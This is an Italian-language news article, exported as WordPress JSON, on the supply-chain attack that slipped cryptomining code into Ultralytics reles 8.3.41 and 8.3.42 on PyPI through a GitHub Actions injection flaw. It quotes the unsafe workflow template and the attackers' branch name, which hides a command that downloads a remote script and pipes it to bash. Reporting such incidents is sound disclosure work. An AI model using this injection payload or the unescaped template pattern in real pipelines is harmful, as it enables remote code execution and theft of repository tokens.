{"id":120890,"date":"2024-12-07T15:46:00","date_gmt":"2024-12-07T13:46:01","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics"},"modified":"2024-12-07T15:46:00","modified_gmt":"2024-12-07T13:46:01","slug":"oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/news\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","title":{"rendered":"Un errore nel gestore di GitHub Actions ha portato alla pubblicazione di versioni dannose di Ultralytics","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
I malintenzionati sono riusciti a eseguire codice con i privilegi di un gestore di GitHub Actions nel repository della libreria Python Ultralytics, utilizzata per risolvere compiti di visione artificiale, come il riconoscimento di oggetti nelle immagini e la segmentazione delle immagini. Dopo aver ottenuto accesso al repository, gli attaccanti hanno pubblicato nella directory PyPI diverse nuove release di Ultralytics, contenenti modifiche dannose per il mining di criptovalute. Nell'ultimo mese, la libreria Ultralytics \u00e8 stata scaricata pi\u00f9 di 6,4 milioni di volte dalla directory PyPI. <\/p>\n
Per compromettere il repository, \u00e8 stata sfruttata una vulnerabilit\u00e0 nel pacchetto ultralytics-actions, utilizzato per avviare automaticamente i processori quando si verificano determinate azioni sul repository di GitHub, utilizzando il meccanismo GitHub Actions. Nel progetto ultralytics, il processore vulnerabile era legato all'evento pull_request_target e veniva chiamato con l'arrivo di nuove pull request. In particolare, per formattare il codice nelle pull request inviate veniva chiamato il processore format.yml ed eseguito il codice specificato nella sezione \"run\" del file action.yml, che conteneva comandi shell con modelli di sostituzione: git pull origin ${{ github.head_ref || github.ref }} git config \u2014global user.name \"${{ inputs.github_username }}\" git config \u2014global user.email \"${{ inputs.github_email }}\" <\/p>\n
Pertanto, nei comandi shell senza il corretto escaping veniva inserito il nome del branch Git menzionato nella pull request. \u00c8 interessante notare che in agosto nel pacchetto ultralytics-actions era gi\u00e0 stata corretta una vulnerabilit\u00e0 simile, relativa all'uso di un valore esterno nella funzione echo: echo \"github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}\" <\/p>\n
Per eseguire il proprio codice nel contesto del gestore GitHub Actions, gli attaccanti hanno inviato una pull request al repository ultralytics, specificando come nome del ramo: openimbot:$({curl,-sSfL,raw.githubusercontent.com\/ultralytics\/ultralytics\/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545\/file.sh}${IFS}|${IFS}bash) <\/p>\n
Di conseguenza, quando veniva ricevuta una pull request, nel codice veniva inserita la stringa fornita dagli aggressori \"$(...)\" che, al successivo avvio del processore, portava all'esecuzione del codice \"curl -sSfL raw.githubusercontent.com\/...\/file.sh | bash\".
<\/center> <\/p>\n
L'esecuzione del codice nel contesto di GitHub Actions pu\u00f2 essere utilizzata per catturare token di accesso al repository e altri dati riservati. Non \u00e8 ancora chiaro come gli attaccanti siano riusciti a formare una release, ottenendo la possibilit\u00e0 di eseguire il proprio codice in GitHub Actions; si presume che ci\u00f2 sia stato reso possibile grazie a una modifica del gestore publish.yml (gli attaccanti hanno rimosso il controllo dell'account autorizzato a pubblicare release in PyPI) e all'uso di tecniche di avvelenamento della cache di build di GitHub Actions per inserire i propri dati nella release. <\/p>\n
La prima release malevola Ultralytics 8.3.41 \u00e8 stata pubblicata da malintenzionati nel catalogo PyPI il 4 dicembre alle 23:51 (MSK) ed \u00e8 stata rimossa il giorno dopo alle 12:15. Alle 15:47 \u00e8 stata rilasciata un'ulteriore release 8.3.42, che \u00e8 stata rimossa alle 16:47. Le versioni malevole sono state quindi disponibili per il download per circa 13 ore (in un giorno in PyPI vengono registrate circa 250.000 download della libreria ultralytics). Le release 8.3.41 e 8.3.42 contenevano codice che effettuava il download di un componente esterno. server<\/a> XMRig per il mining di criptovaluta. <\/p>\n
![\"Un](\"\/wp-content\/uploads\/2024\/12\/c734b63e67d629d8af635f4193bfb0d0.png\")
<\/center> <\/p>\n